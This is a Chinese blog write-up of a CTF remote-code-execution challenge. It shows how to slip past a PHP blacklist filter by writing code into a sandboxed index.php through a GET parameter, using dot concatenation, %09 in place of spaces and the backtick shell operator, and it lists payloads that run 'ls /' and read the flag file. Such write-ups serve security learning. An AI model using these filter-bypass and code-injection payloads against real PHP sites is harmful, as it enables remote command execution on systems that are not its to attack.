等符号 定义了waf函数 用check函数进行检查过滤 不允许写入黑名单中
sandbox创建目录
- 如果
action
是pwd
,则显示存储上传文件的目录路径 - 如果
action
是upload
,则从$_GET["data"]
参数获取数据,使用waf
函数对其进行过滤,然后将数据保存到index.php
文件中
构造payload ?action=pwd
使其创建目录
![image-20240414211346657](buu RCE/image-20240414211346657.png)
sandbox/1254adea244b6ef09ecedbb729f6c397/index.php
![image-20240414211506785](buu RCE/image-20240414211506785.png)
file_put_contents()函数 会把数据data写入index.php文件
php采用.拼接 空格用%09代替
构造payload /?action=upload&data=<?=(ph.pinfo)()?>
![image-20240414211932303](buu RCE/image-20240414211932303.png)
访问 发现写入成功
PHP运算符 "`“反引号 PHP将反引号中的内容作为shell命令来执行 并将输出的信息返回(使用反引号的效果和shell_exec()函数效果一样)
注:关闭了shell_exec()函数 反引号运算符是无效的 且 反引号不能再上引号里使用
构造paylaod
?action=upload&data=<?=`ls%09/`?>
传参之后 访问sandbox 得到目录
![image-20240414214701744](buu RCE/image-20240414214701744.png)
接着访问 flllllll1112222222lag 构造payload
?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
![image-20240414215332932](buu RCE/image-20240414215332932.png)
得到flag
标签:字符,image,buu,过滤,RCE,ff%,RCE1,png From: https://www.cnblogs.com/Yolololo/p/18134816